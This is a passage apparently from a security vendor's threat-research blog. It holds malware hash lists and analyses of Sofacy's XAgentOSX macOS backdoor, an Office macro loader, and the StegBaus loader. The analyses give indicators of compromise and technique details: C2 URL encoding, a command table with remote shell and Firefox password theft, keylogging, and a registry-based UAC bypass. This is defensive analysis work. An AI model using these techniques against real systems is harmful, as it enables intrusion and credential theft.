31f8346b01d9e3c307280bf900de4e91a57d579d5327f75fd697431bcdd20dd4

6d604f20aee68b276eaddb2a3d852137e8a34344838f3022abaef53770944646

51633bf1265ae5a3dacb435a78e15bb1ae96fd0da284b5faff97f412f9d362fc

ab2beec5b712d030810f4ec975c8f398cdc9486f678007375a692e23d1a50a1c

da9a6c0842062661384ef37683a196fbb768e6c43b358d059f20e07177a3fd65

c35a5f45b13b88d453cb953515783416def2537a0a372780fe4e6e20c58d9717

e855ab4fd90ec109fcf34d068f5162d462bb26d1998406af94d9c6050c72d9fb

23a71f634dadac915df9332a126343d8989b5492fe113b21badc3cfecb431c41

98ba54b02a466ca902d21d2a41f6d21efd7e8f38cd9a1d2d669dcbe0d31a8413

6c84df041c4da7ee5866a3dd46131dbde3f41613e871ee739bf021a32aefe03a

fffbc4536b681bd6e06a809593852d54db71f9d7d304491a425c49e1945c5085

30b97daff703812e860d15e18172ea1bcff9090c3ca02717c8ebabfb88d6fb7b

7d98ae50cccb308c51365ea7e76d793c845990724052923187a056ba36a0d9ca

a1f0956e034356a36be25f5213fd21857347a571034e65b14f3960a8cb8c1c42

e4e8aac2107834b2d895fc35d71bb396075d971c650ff173714c3d17956c7da6

62989ab56f11701b109cddf0eb20e995c833078bb40942a8c931589497c25948

 

Pushdo

14c358cc64a929a1761e7ffeb76795e43ff5c8f6b9e21057bb98958b7fa11280

242f192b9e985864ba5e3f6b0cb15efc280980e2b097d2ebaabd1d8de7117663

4c50fbe0c5e39ed3fe88136f3ce45d82f3e9975d1ba524d76466609ccded41d2

59a512bcd4af8aef4769ce8b4f31c5116c2e9b6bd09e76f4824a073072ea822e

5fe8cc8734fddd09e1479eac5fda9826eb44d191fd992e63f3db58ac6a23af67

676a14cda7ff14af9d944326ec4635facf9eb999208f5a7badbeff76d55321e4

6d921e055466eccc308ca73ada27b249eff33786fc7f4a6f2946158b91175505

7120cc2689e70fb4dfdab7708828476efea10fa9ef2a1cdfcd020a500ffcddbf

757f2c62637765cbc8c7b9f5f63ed4ab00f34485f516a66b2a81b4edfb731920

89cbfd9360251bbbcda1bac4d0674576ba19d6ae5a1828113ac7bd5adbfa809a

9cf72776a0e0a81a099028393c8fe8ee4e98c9da9a1e887807845939633661c8

bbeffcfe632fbdacd49e7370f5546c067bf513cf24dd86f6cb34d255a4dc6607

bcfcea47fac4e61330fec7c6c221cc926f4f90dd43891cecdd2995c8ff937d2a

c205430c4a278255a880f7eb301b6d43405752ecc19123305cc4278dd1b4f867

c2e8d313a086ad89e43130870977d9d1984311f9383d520b5c43f73ca4be6938

c38b5ac3e5c3fdcbf6752809e3e68d7d2bce6122613293f8822f008e7fa64139

c49ba3b8be64442bfbb0ce1c2b1a28c9e0b5829e9523558561163140183e36ac

cfd08932544be4608030cc7ec8deb1f8c93d01915e7b49c1da8b686ba1e00733

d2b23e336bad80b0a0f04b0b042bd76421b9342fe3329ad243b7806f242e4bda

d9a21f5a7c8560ce9a1368943509f791b568d18c2abd329cbb095662a7642ed6

da7d0125b71db066fa8f3981b0125f1955d2c4b20f37679eb99b55fd226c8693

dc07002a47c481613868ed10cf93fd4e4772d52da21c2b9cd1d6b5dc31cd9e71

decaf81a2f8a0f94f3ba112fcf805b7c1c955548486d615f56626a3b5771e384

e061a37cef414f8943972bf0fd2a990f7283a07b460aa2c9292c00323432f3b4

e6c7bfb41e99fceab5da3175267dcdfc0ff50263f8718dfb638539bc9aa4a862

ef28d191d15e2f00dfa9612c8ea4923af25c13ee68a9ac1c41cee5f8ab8f1a6c

f0c85788f33916c6d2f811860d5e1d6bdc44a44ada980aad7a65039757cae6c7

fb4933942a1bbea64443fd94118efe412cfc3db3242fe6bd60643c7d7595998f

 

Tinba

0482ac285c4e941a82de2425c3572ef2b951f90423d85627a282147fb3b95d14

3026114a699e5f50a49c2a4ee0844c8a6ac217f8e9185d1735b79a13379e8fd8

43740f3254084090f5d9dc5e74af184b8021a3e07c4d0e645f227852eccb0020

5eea0da8c31b48ce3e88fdd0f24192a4305a472f1f44f3740796d0622feb7f9b

78fb0b44a54d336178ea021503c71539ef364bfa9f4c003c91591a0a4a4047fa

94c12b0de0e28a5c88d9b3242793f1d1cd4ff4a86a4bce991e68f3d2e04c56a6

a8c8b1fd20d79235fd74f7c3722453412ad5ff589bbd8e3ce300e364e3495c2e

fcee667cb6900ddf55029f1f806995f73cd5be75912f1c94c905a6d177353e1f

 

Zeus

c27160f42b2ace99149db759c4edc15c95b5a8b95e8daf70f02b201d804e2ac2

4b66d77bd775c7695f7211b95808e14c5cbef8c6d69e3749b21868bad296f22e

 

Rovnix

fdca8fa4368763899eff263d472850273ac9df672e0867d4aa3546bb439be291

XAgentOSX: Sofacy’s XAgent macOS Tool

Posted on by Robert Falcone

During our continued research on Sofacy’s Komplex Trojan, we have found a sample of a backdoor Trojan that we believe the Sofacy group uses when targeting individuals running macOS systems. The backdoor Trojan authors have called it XAgentOSX, which shares the name XAgent with one of Sofacy’s Windows-based Trojan and references Apple’s previous name for macOS, OS X. It appears the same actor developed both the Komplex and XAgentOSX tools, based on similarities within the following project paths found within the tools:

Komplex: /Users/kazak/Desktop/Project/komplex

XAgent OSX: /Users/kazak/Desktop/Project/XAgentOSX

We believe it is possible that Sofacy uses Komplex to download and install the XAgentOSX tool to use its expanded command set on the compromised system.

XAgent C2 Communications

The macOS variant of XAgent has ability to receive commands from threat actors via its command and control channel, but is also capable of logging key strokes via its keylogger functionality. XAgent uses HTTP requests to communicate with its C2 servers, which allows the threat actor to interact with the compromised system. The Trojan uses HTTP POST requests, as seen in Figure 1 to send data to the C2 server, and GET requests to receive commands from the server, as seen in Figure 2. We are still analyzing this Trojan to determine the specific structure of the data sent between the Trojan and the C2 server; however, it does appear that the Trojan is using the RC4 algorithm to encrypt data sent to the C2 server within HTTP POST requests.

fig1

Figure 1 XAgent macOS HTTP POST request

fig2

Figure 2 XAgent mscOS HTTP GET request

The C2 URLs generated by XAgentOSX are very similar to those created by its Windows-based counterpart. When generating the URL for the HTTP requests issued to the C2 server, the Trojan chooses a random folder from the following to include within the URL path:

watch/?
search/?
find/?
results/?
open/?
search/?
close/?

XAgent also will choose several parameters names from the following list when finishing the construction of the C2 URL:

itwm=
text=
from=.
itwm=
ags=
oe=
aq=
btnG=
oprnd=
itwm=
utm=
channel=

The XAgent OSX Trojan generates a system specific value that it refers to as an "agent_id", which is a unique identifier for each compromised host. The value is derived using the IOService to access the IOPlatformUUID property, which is equivalent to the "Hardware UUID" listed in the system information application, as seen in the Figure 3 screenshot of our analysis system. The Trojan uses the first four bytes of this hardware ID as a unique identifier for the system, which in our case was "0000".

fig3

Figure 3 Hardware ID used by XAgent to uniquely identify compromised hosts

When generating the URLs within the HTTP POST and GET requests, XAgent sets one HTTP parameter using a specific data structure that contains this agent_id value. This parameter transmits the agent_id to the C2 server to obtain commands the actor wishes to execute on the compromised system. The data structure used to transmit the agent_id to the C2 is as follows:

struct {
DWORD random_value_for_key;
CHAR[7] constant_value;
DWORD agent_id;
}

The constant value in the data structure is a 7 byte string that is hardcoded to "\x56\x0E\x9F\xF0\xEB\x98\x43", followed by the agent_id value ("0000" in our case). The first DWORD in the data is a random value that the Trojan will use as an XOR key to encrypt the constant value and the agent_id. For instance, the following 15 bytes were used to generate an HTTP parameter during our analysis:

 

Random Value Constant Value agent_id
0F EE C8 83 56 0E 9F F0 EB 98 43 30 30 30 30

 

The resulting ciphertext is then encoded using XAgent's base64 encoding routine that starts by building the following encoding alphabet:

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_

As you can see, this is not the standard base64 alphabet, rather it is the "URL and Filename safe" Base 64 Alphabet from RFC 4648, as the "+" in the standard alphabet is replaced with "-" and the "/" replaced with "_". It then uses the base64 encoding function with this alphabet to encode the data, which in the above case resulted in:

D-7Ig1ngV3PkdouzP974

The Trojan then creates a string of 9 random symbols and appends the encoded ciphertext to this random string. For example, the following string would be included in one of the HTTP parameters sent to the C2 server:

eRmaVsr90D-7Ig1ngV3PkdouzP974

In this specific case, the actor made a mistake when configuring this XAgent sample with its C2 locations. The sample creates an array that contains the following strings for the Trojan to use as C2 locations:

http://23.227.196[.]215/
http://apple-iclods[.]org/
http://apple-checker[.]org/
http://apple-uptoday[.]org/
http://apple-search[.]info

Notice the last one is missing the trailing "/", which causes an issue when the Trojan attempts to use this string to build the remainder of the C2 URL, as the Trojan will append the next string in the URL directly to this string. For instance, when using this string we observed DNS queries for "apple-search.infoclose", as the string "close" was supposed to be the next portion of the C2 URL.

Available Commands

The XAgent C2 server will provide commands for the Trojan to run on the compromised system within its response to inbound HTTP request. The XAgentOSX Trojan includes responses to commands within HTML tags, which we believe allows the C2 server to format logs for viewing.

In most cases, the responses sent to the C2 server are included between the "<font size=4 color=000066><pre>" and "</pre></font>" HTML tags. We analyzed the command handler and found that it provided the necessary commands for a fully functional backdoor, as seen in Table 1. The command handler obtains a command identifier from the C2 server and adds 0xFFFFFF9B to this value and then uses a switch statement to determine the appropriate command to execute. The switch statement checks for 19 cases, between 101 and 119. (Updated to correct command IDs, thanks @mykill!)

Command ID Function  Description
101 getInfoOSX Gathers username and OSX version and responds using the encrypted form of the following string: "Mac OS X - [OSX version] x64<br>\nUser name - [username]"
102 getProcessList Runs "ps aux" to obtain a list of running processes
103 remoteShell Runs supplied command using "/bin/sh"
104 getInstalledAPP Gets a list of installed applications by running the command "ls -la /Applications"
105 showBackupIosFolder Checks to see if an IOS device was backed up to the system by running the command "ls -la ~/Library/Application\ Support/MobileSync/Backup/"
106 downloadFileFromPath Uploads a file from a specified path
107 createFileInSystem Downloads a file, specifically provided within the C2 server's HTTP response
108 execFile Executes a specified file on the system using the NSTask:launch method
109 deletFileFromPath Deletes a specified file using the NSFileManager:removeFileAtPath method
110 takeScreenShot Takes a screenshot using the CGGetActiveDisplayList, CGDisplayCreateImage, NSImage:initWithCGImage methods. Returns the screenshot to the C2 via: <img src='data:image/jpeg;base64,[base64 of screenshot]' width=800 height=500 /><br>
111 startTakeScreenShot Creates a thread to take a screenshot at a set interval (default: every 10 seconds). Uses the same method in "takeScreenShot" function
112 stopTakeScreenShot Closes the thread created in the "startTakeScreenShot" function
116 getFirefoxPassword Looks for folders with "/Firefox/Profiles" in the path and reads the contents of the "logins.json" file for "hostname", "encryptedUsername" and "encryptedPassword" entries. It also attempts to issue the following SQL query on the "signons.sqlite" file: "SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins WHERE timePasswordChanged/1000 BETWEEN ? AND ?"
117 ftpUpload Uses FTPManager:uploadFile method and a supplied server name, username and password.
118 ftpStop Calls "stopOperation" method, but does not appear to stop FTP uploads.
119 readFiles Obtains file information on a file or a folder, and supports a "*" wildcard and recursive file list. The code will gather the information and format the list using the following HTML to create a table:

<table>
<tr><td>Type</td><td>Owner</td><td>Permissions</td><td>Created</td><td>Modificated</td><td>Size</td><td>Path</td></tr>
<tr><td>[fileType]</td><td>[fileOwnerAccountName]</td><td>[number filePosixPermissions]</td><td>[fileCreationDate]</td><td>[fileModificationDate]</td><td>[fileSize]</td><td>[file path?]</td></tr>
...
</table>

Table 1 Commands available within XAgent OSX

The ‘showBackupIosFolder’ command is rather interesting, as it allows the threat actors to determine if a compromised system was used to backup an IOS device, such as an iPhone or iPad. We believe this command is used to determine if a mobile device was backed up, and we speculate that the actors would use other commands within XAgent to exfiltrate those files.

Keylogging Functionality

XAgent also has a keylogger functionality that allows the threat actors to steal credentials as the user types them. XAgent logs key strokes by calling the CGEventTapCreate function to set an event hook to call a callback function named _myCGEventTapCallBack when it detects pressed keys. This callback function will call a function named pressedKeyWithKeyCode, which is responsible for logging the keystrokes. The keylogger will monitor for active application windows and write them to the log in the following format:

<span class='keylog_process'>[Application Name]</span>

The keylogger will log a configurable amount of keystrokes (default 50) before sending the log to the C2 server using the following format:

<span class='keylog_user_keys'>[logged keystrokes]</span>

The keylogger can handle logging special keys, such as return and the function keys and will report those within the log in the following format;

<span class='keylog_spec_key'>[special character]</span>

Infrastructure

The XAgentOSX sample we analyzed was configured to use the following IP address and domain names as its C2 servers:

23.227.196[.]215
apple-iclods[.]org
apple-checker[.]org
apple-uptoday[.]org
apple-search[.]info

When we analyzed this sample, the domain names that were used as backup C2 locations were not registered; therefore, these domains did not provide any links to additional infrastructure. We were also unable to find any additional infrastructure based on the primary C2 location of 23.227.196[.]215. However, according to CrowdStrike, the nearby IP address 23.227.196[.]217 hosted the C2 location for an XTunnel payload used by the Sofacy group in the attack on the Democratic National Committee. While these IP addresses do not directly overlap, it does appear that the Sofacy group continues to use the same hosting services to host their infrastructure.

Conclusion

The Sofacy group continues to bolster their toolset to carry out attack campaigns on multiple platforms. In this case, the threat group uses the same name XAgent for this macOS-based tool as one of their Windows-based tools. Also, the macOS variant of this tool uses a similar network communications method as its Windows counterpart, which suggests this group continues to use consolidated C2 services to control compromised hosts, as we saw during our comparison of the Komplex and Seduploader (formerly referred to as Sofacy Carberp) tools. Also, while we lack attack telemetry, we were able to find a loose connection to the attack campaign that Sofacy waged on the Democratic National Committee based on hosting data in both attacks.

Palo Alto Networks customers are protected from XAgentOSX via:

  • Known samples are detected as malicious by WildFire
  • All known C2 locations are marked as malicious in PANDB
  • Users can use AutoFocus tag XAgent to track this threat

Indicators of Compromise

SHA256

2a854997a44f4ba7e307d408ea2d9c1d84dde035c5dab830689aa45c5b5746ea

Command and Control

23.227.196[.]215
apple-iclods[.]org
apple-checker[.]org
apple-uptoday[.]org
apple-search[.]info

Unique Office Loader Deploying Multiple Malware Families

Posted on by Josh Grunzweig

Palo Alto Networks has recently analyzed a unique loader for Microsoft Office that leverages malicious macros that is being used to deploy numerous malware families. The loader was originally witnessed in early December of 2016, and over 650 unique samples have been observed since then. These samples account for 12,000 malicious sessions targeting numerous industries. The loader itself is primarily delivered via email and makes use of heavily obfuscated malicious macros as well as a user account control (UAC) bypass technique that was originally discovered in August 2016.

Delivery

As previously mentioned, the loader is primarily delivered via phishing emails. When looking at the roughly 12,000 malicious sessions, we encounter the following subject lines and filenames most frequently:

Top Subjects

  1. ENQ RFQ19-SIS-2017
  2. Order 032.
  3. PURCHASE ORDER
  4. FINAL REMINDER!! TOP URGENT Saudi Arabian Oil Company : Request for quotation no.7202159560
  5. Obeikan Purchase Enquiry...
  6. ORDER TRIAL
  7. Re: Our policy
  8. RFQ PO 7700 8800 9900
  9. AW: Attachment
  10. Verify Your Email Now!!!

Top Filenames

  1. Invoice #74267363.doc
  2. QING_SHUN 20161201_Q88.doc
  3. ProductList.doc
  4. Lebanon deposit slip.doc
  5. ENQ-19-0143-SIS.xls
  6. Company Profile.doc
  7. CONTRACT AND LABEL SABAROT.doc
  8. New-RFQ.doc
  9. PO#19651.doc
  10. WIRE SCANCOPY-001.doc

When looking at what industries were most affected by this threat, we see that High Tech, Professional and Legal Services, and Government were some of the most affected. However, this loader also hit multiple other industries.

picture1

Figure 1 Top industries witnessed within AutoFocus

The malware downloaded by this loader varied overall. The following malware families were witnessed being dropped:

Based on the large amount of commodity malware families being dropped, as well as the wide distribution seen, this loader appears to primarily be used for widespread campaigns.

Analysis of the Loader

Analysis of the various macros used across all of the samples showed the same technique being used amongst almost all of them. All of the macros are obfuscated using a large amount of garbage code and randomly chosen variables. This is most likely the result of some builder being used to generate them.

We can see what is taking place in the following macro extracted from 4e56c777862ced487b4dd2556886bd429187c3c1c51c1f51fcba52e2ae350e12. This particular sample was witnessed being delivered via SMTP to multiple organizations with a subject line of ‘Request For Quotation [RFQ]’ and a file name of either ‘RFQ.doc’ or ‘Order Details.doc’.

In the second half of the macro, we see a garbage code, a number of obfuscated strings, as well as a number of strings that are written to the Word document. These strings are in-line with the ploy being used by the attacker based on the witnessed subject line and filename.

picture2

Figure 2 Second half of malicious macro

The first half of the macro includes a function to decode the obfuscated strings. After the various strings are concatenated, they are sent to this decode function prior to being called with a Shell command. Decoding these strings is actually quite simple, as the macro simple removes characters present within a denylist string. As an example, a string of ‘Haellbo’ with a denylist string of ‘ab’ would result in ‘Hello’.

picture3

Figure 3 First half of malicious macro

The inclusion of decoy information within these macros is not always present. When analyzing the roughly 650 samples, just over half of them contained decoy information. Additionally, the InStrRev() call is not always present. Other samples may use a technique similar to the following example, where ‘J8RRLQYA6Z’ is the denylist string, and the denyoffer variable contains the obfuscated string’s individual characters:

Once the string is decoded, we see something like the following:

This function will download a file via PowerShell and drop it within the %TEMP% directory. It then sets a specific registry key to point to this newly dropped file. Finally, it will execute the built-in eventvwr.exe process, sleep for roughly 15 seconds by performing a ping against the localhost 15 times, and removes the executes the dropped file. The registry key write and execution of eventvwr.exe is a UAC bypass technique that was first discussed here. It relies on a flaw within Microsoft Windows where the built-in eventvwr.exe process will first look for a process name within the ‘HKCU\Software\Classes\mscfile\shell\open\command’ registry key. By creating this key and supplying it with an executable of the attacker’s choosing, the executable will be spawned by eventvwr.exe in an elevated state.

To assist malware analysts, I’ve included a script that can be used to extract the embedded macro from a Microsoft Office file using this loader, and will attempt to decode the embedded string segments. Running this script against the 4e56c777862ced487b4dd2556886bd429187c3c1c51c1f51fcba52e2ae350e12 file results in the following (Note that the URL has been defanged):

It should also be mentioned that in a small number of cases, the attackers chose to make use of the built-in BITSAdmin tool instead of PowerShell to download their malware, as seen in the following example:

In these instances, the same macro obfuscation was used, and we can see the same technique of bypassing UAC and performing a ping against localhost 15 times.

Just 11 of the 650 samples made use of BITSAdmin to download their malware within this loader. All of the instances where BITSAdmin was used took place when this loader was originally seen, in early December 2016. It would appear that the attackers quickly changed this in favor of using PowerShell for downloads.

Conclusion

Overall, this new loader is interesting in its use of performing a UAC bypass. Additionally, the widespread use of this loader since December of last year shows that it is being used in numerous campaigns. It is unclear if this loader is being used by one or more groups. Multiple industries have been targeted by this loader, which has been used to deploy multiple malware families.

Palo Alto Networks customers are protected against this threat in the following ways:

  • All instances of the loader and dropped malware are flagged as malicious within WildFire
  • The various malware families dropped are tagged within AutoFocus (LuminosityLink, KeyBase, PredatorPain, Ancalog, Bartallex, Pony, DarkComet)
  • A number of Anti-Spyware and Antivirus signatures are available for the various malware families

A full list of indicators of compromise, including timestamps, SHA256 hashes, download URLs, and dropped filenames can be found here.

A special thanks to Brandon Levene for originally alerting me to this loader.

References

StegBaus: Because Sometimes XOR Just Isn’t Enough

Posted on by Brandon Young

This past week, our team has identified a group of malware samples that matched behavioral heuristics for multiple known malware families.  These samples all displayed their typical respective malware characteristics and contacted known command and control (C2) servers from those families. However, initial static analysis revealed that all of these samples appear to be identical on the surface, leading us to believe that we had discovered a new loader.  The malware families identified at this time are DarkComet, LuminosityLink RAT, Pony, ImmenentMonitor, and some multiple variations of shellcode.  We are calling the malicious loader StegBaus based on its use of custom steganography and a PDB string, which was found in an embedded DLL.

Because of the large number of infections that the aforementioned malware families have previously been involved in, any new loading techniques that could make it easier for an attacker to execute these malware families on a victim computer should be taken seriously and an attempt at identifying it pre-infection should be treated as a high-priority.

This loader is unique in numerous ways, most notably the steganography that is being used to hide the loader configuration, as well as the final payload.  These features will be discussed in the analysis section below.  The loader also uses common techniques, such as the RunPE method, to load final payload into memory as a new process.  This method has been seen in the wild for a number of years and typically involves utilizing a host process, threading contexts, and memory allocation.  Although these steps appear to be relatively static within the loader, there are slight differences we were able to identify based on the time of deployment.  One such case is a sample that appears to have been used for testing at least 6 months before the majority of samples were seen in the wild.

UPDATE: The domains tags[.]bkrtx[.]com and sg[.]symcb[.]com were erroneously included in the list of domains below. On February 20, 2017, this blog post was updated to remove those domains from that list.

Distribution

The .NET executables with a code-base similar to the StegBaus loader were originally seen being tested in mid-2016 with much less obfuscation and the addition of testing phrases and strings.  While hunting for related samples with the same characteristics, we were able to identify similar features in the KazyLoader .NET packer.  KazyLoader provides a means for data hiding in BMP files and similar encryption schemes as well, and although these similarities exist, the increased sophistication in StegBaus and the limited visibility into the KazyLoader code-base makes linking these two families together very difficult.

The first known instance of StegBaus that Palo Alto Networks was able to identify was seen on December 30, 2016, with numerous samples being encountered since then.  It should be noted that the malware families being distributed by StegBaus are all commodity malware and many of them have had their source-code leaked online in the past.  This fact makes it difficult to determine if the author of StegBaus is generating his/her own custom samples, reusing samples found in the wild, or has a connection to the groups that use these malware families for criminal activities.

The most common filenames used to deliver StegBuas in the wild are:

  • image44.scr
  • barbiure.exe
  • image56.scr
  • image.scr
  • corben.exe
  • picture.scr
  • Netsparker.exe

The most common HTTP connection information is as follows:

  • Kimki[.]ru , POST , /chamber/panelnew/gate.php
  • kimki[.]ru, POST, /nelson/panelnew/gate.php
  • kimki[.]ru , POST , /emeka/panelnew/gate.php
  • oxylala[.]gdn , POST , /emeka/panelnew/gate.php
  • oxylala[.]gdn , POST , /charly/panelnew/gate.php
  • oxylala[.]gdn , POST , /asaba/panelnew/gate.php
  • oxylala[.]gdn , POST , /victor/panelnew/gate.php
  • oxylala[.]gdn , POST , /mandela/panelnew/gate.php
  • oxylala[.]gdn , POST , /asaba/panelnew/gate.php
  • minecon[.]co, POST, /Panel/gate.php
  • informer.pe[.]hu , POST , /Server/

The most common DNS queries are the following:

  • custom[.]generatione[.]tech
  • goodluckjayjay[.]duckdns[.]org
  • slyopeznetwr[.]ddns[.]net
  • 11live[.]zapto[.]org
  • goodluckyugo[.]duckdns[.]org
  • akudon[.]chickenkiller[.]com
  • informer[.]pe[.]hu
  • files[.]catbox[.]moe
  • minecon[.]co
  • kimki[.]ru
  • oxylala[.]gdn

Analysis

StegBaus is originally distributed in a .NET-compiled executable that uses Confuser v1.9.0.0 obfuscation.  Initial static analysis of the sample reveals multiple portable network graphics (PNG) image files that are embedded as .NET resources.  These can be seen in the figure below.

fig1

Figure 1 PNG resource files

Upon execution, StegBaus loads a new DLL into its memory space and execution is transferred to the DLL’s main function, which in later samples has been renamed to a singular letter (A, K, or Q).  This DLL is completely deobfuscated and its internal name was found to be A.dll in each variation that we analyzed.  The functions contain no obfuscation and can be clearly read, as shown in Figure 2.

fig2

Figure 2 Function list

As can be seen from the function list above, StegBaus contains a number of functions that appear to do relatively simple things.  After analysis of these functions, it is clear that the functions actually do exactly what their names suggest.  Full anlaysis of each of these functions will not be provided, but some of the most interesting ones will be discussed throughout the explanation of the data hiding techniques.

After analyzing the original, heavily obfuscated, executable and finding the embedded resources, we chose to investigate this DLL for any resources as well.  It turns out that the author used this resource section to embed numerous blobs of base64-encoded data as seen below in Figure 3.

fig3

Figure 3 Embedded base64-encoding

The resources seen in Figure 3 both contain base64-encoded data, which each decode into a separate DLL. These DLLs are named img2data.dll and CreateShortct.dll respectively.  The CreateShortct.dll file is used to locate the current users Startup folder and creates a shortcut to the original executable using a random 8 character name.  The img2data.dll, however, is a little more interesting and will be discussed in the Data Hiding section.

The CreateShortct.dll contains the following PDB string that was used in naming the malware:

Data Hiding

The img2data.dll file contains custom functionality to convert images into a data stream by using numerous libraries included in the .NET Framework.  The actual code for the function can be seen below:

fig4

Figure 4 ImagesToData function

The reimplementation of this code is provided here and can be compiled as C# in Visual Studio by adding a library reference to System.Drawing.  The provided decoder will take a directory name that contains all of the PNG resource files with their original names and provide a binary output file that can be used to continue analysis.

The img2data.dll is utilized by the ConvertImagesToData function in A.dll.  This function simply loads the DLL into memory via .NET module loading techniques and creates a buffer for data storage.  Essentially, the img2data.dll will locate the resources in the original executable and read all of the raw bytes into a memory stream before being manipulated.  After this data has been converted into a usable data stream and stored in the global buffer, it is then decrypted multiple times, as discussed below.

Encryption

Although data hiding with steganography is unusual, it is an extremely effective means of concealing information, the malware authors found it necessary to also use AES encryption.  Specifically, the RinjndaelManaged function that belongs to System.Security.Cryptography is used to decrypt data using AES-128.

While debugging the malware and stepping through the crypto routines, we can easily identify the initial password that is used to generate the key and initialization vector (IV) for the AES routine.  The password is gathered by identifying the timestamp from the STARTUP_INFORMATION structure of the original executable and this value is then run through a sequence of arithmetic operations. This information is then used to create a new GUID, which in turn is truncated to 8 characters, and then used as the password.  The password for the sample analyzed is “d1ee1095”, which is easily identifiable during debugging and execution.  This value is then run through the Password-Based Key Derivation Function 2 (PBKDF2) and we can hex-encode this result for both a 32-byte and 16-byte value.  The return value for the 32-byte value is the key and the 16-byte value is the IV.

Once the key and iv are produced, the decryption proceeds by using AES with CBC.  The following script can be used to decrypt the data once the password has been identified:

After decrypting the data, the results are not as we expected…there is no human readable data.  This leads us to further debugging to identify any other techniques being used.  In this case, the authors decided that using steganography and AES encryption wasn’t enough they had to encrypt the data twice using the same AES implementation.  Using the same script as above and the decimal representation of the previously returned timestamp, “1484648550”, we are able to determine the key and IV for the second iteration of decryption.  This time we are provided with what appears to be a human readable configuration file, which contains the following data:

  • Emulation
  • Install
  • Notify
  • Options.Compress
  • Options.CheckVM
  • Options.CheckSandbox
  • Options.DelayTime
  • Options.MonitorPackage
  • Options.MonitorRegistry
  • Options.MonitorSelf
  • Options.HostIndex
  • Options.UACBypass
  • Files.Main
  • Files.Count

Finally, after the aforementioned decryption is finished, the StegBaus configuration options become visible as we see in the figure below.  These options dictate which additional functions are going to be called in A.dll.  As shown before, there are a number of additional functions, but they are not used unless the configuration has the options enabled.  Along with the configuration options, the decrypted data also contains the final payload and is represented in two different forms in the samples we analyzed.

fig5

Figure 5 Decrypted data forms (plaintext vs. zlib)

As seen in the figure above, the two different data representations in the decrypted data buffer are plaintext and a zlib-compressed data blob.  In some of the first samples identified, the decryption stage mentioned above is actually the final stage of data hiding and this executable is then loaded into memory via the RunPE method.  The newest samples analyzed utilize zlib compression to further hide the final payload within the decrypted data buffer.  The decompression is completed in the Decompress function, which can be seen in Figure 2 as part of A.dll.  When the final payload is decompressed, it is loaded into memory as a new process via the RunPE method as well.

Conclusion

The StegBaus loader that was identified contains many advanced data hiding techniques and has been seen delivering numerous different commodity malware families.

Currently, the loader itself is being identified as malware by WildFire and can be seen in Autofocus as well.  Palo Alto Networks is detecting this malicious loader via behavioral identifiers and is also identifying the malware families being delivered by these measures.

I would like to thank threat analyst Brandon Levene for bringing this unique malware family to my attention.  The characteristics identified within the analyzed samples led to the discovery of more than 250 samples utilizing the StegBaus loader, all of which were identified as malware in WildFire.

Appendix

SHA256 Hashes

1678e719a18eabf552cd54f763f401959fccb47fa3ef035c1f5b49c440dc0ddd
4233a707e1772c6399776dd563dfb315b59cd2bd685bc78802958065a871817a
440e31eac26692e8cdfc357f2b66fb371a4d3601961cae3082a2d3f3855d4a0c
2f43238efb23e00c8413cc4c203bfd29b17e846dedd613c86d9edc8b20dc2600
a5a8addaec02c0a7849adbf6125e6d41315b3c6e40deb31ec605aa083f5dcd56
f70bf0d2f14da3f677986c90b68c576aa5f9bd543a585b8b3072524ae0560272
5a56042607f463ff286a16537c6ae8ffe78d3c2258674dc095d4818ce9552198
c33b2d07872354cc87206b886143bb3e250fc49a260a67276564b258cb67c290
b97c36f7d7118ab964ac7e7337dd3de0ab86cb286e724f3787b358aef5f2a5f1
4dc9edcce2e78405c9301057a39b6a5e7fdca60b6f11b35e4467312d459dce14
658d455f574cbf59c4398fdaf68a9d93a250e85812ed7557b9a5d589440d11b5
8ef803d8e1f2d6221bc1d562b6ee6b1f6886baa0a46a0758677f423eaf4b4e72
f482c2201e13573e6dc93cab302683f7e8fa677673a14ba9f0cc7199feb94b85
773a8cd7becf55e4a8fb56896253d1408def916a405252439fb5e4d541b5bffb
a2e36d4102b6be41cbeb16a8627b913f19c0cabb9c828359ecb41d50122a6df2
64aafb17ca136e56678c7321313894fa0b2331d42b16054be5a3d57c8fd3a312
6b0edf8e9dce9f137aa92fc7cd25f8148c1efcd0a418dc35035d025510b18cba
9cd0af91e0cbe55db3b2a444941378802879a78db6484d4449ceca1f3b6862c5
10888258eb6136ae1cc7ad6e3dd9ec8ada384365c71932c15273e0027577bdc4
a9dc85927b32af2a40cbce1866a76cd67d7b329fc775ad09bfbe5cb6ea463c65
2b631fa0cfabfb9d96460ac800219b324c69a7f7e54f84ec37a378e0bad54992
e43b1e25e4a4d19babed4b25a9a2547efb6843eb128d5e50ef80a871a8a7ed0d
d43814e12d945f21076748ff1695dbb977854db2ff0b44b32c59dd1ecbb120e0
4be05fd94f7c7f42a2f711184d1b67eaebbdbb3c77b9ff626c1f41c39cf0974f
7f1ba131992a21c1c9e7c300fe4a0e58b1554f27ab8b9a804f802c9f92ab411d
950078b915e0ab5c9238d0ecaf6b0b6392ae8c74f8a731a3bfc02015ecbf06df
dff0de34c5579339210709bd0f1ed9050a67d14233f7098ad76e302fabb047f2
a0ed357c96b0f17a3f45bd9926c381dab2d86bbb0dc7915f4294d24fbbd90694
0f5c982ba2789fc5dc45f1bcc8b97a8338026e8e6a4a897c7a9598f7c822198f
cd193bf66b4a0859524e3c87cbd677986270916fd520de6a90776e375f22def8
3fa229f1a014f04975f6f25aa81a657daeb583e22bd7a5ace47d63ec392cc7f4
269e74ef268dd0c5537b7154538bfba3cc23b3e0a8338a920f44f3f16d5e141d
04ca2140616cb9ff7d417ddc1924f2812d03b0b67dc197cd26d0b69981c9f55e
e8aedfd0addbb2ba395c23f39a17b962e5861dd1df020e8f134a19042ef38552
3ef998f62f696bc1677f78f3a356d95f9c56ca71e58759c5830c3c6f64e0f1ef
67ad00d6ca060b6c6ad7263b32aa105bceac3c3bd78db45021b8df6d10e0c996
0a9ecc4953983197d0369ae6ee383c4da3ed26a1b557ae0214b3d834a219083f
669e80679707bd00bf48994cf9d4fee5b58f6b87534cf7da5aefe71c0bee3d34
72c8b6c8219d7ae1b99165428c77855e8e4001d2217e369f156192e8c0afc276
ee4704cbe11ff52e6a4e33100dce375e0098d09919402246390706d0b4e4a19a
17530ed17699da87a3f4e64af69a78bfa525d80b1c1e5b0c61b48282c231b32e
7a457ced31004aeccbbdc169b66a02a55a38bd1934c0ed54d97a69980945f487
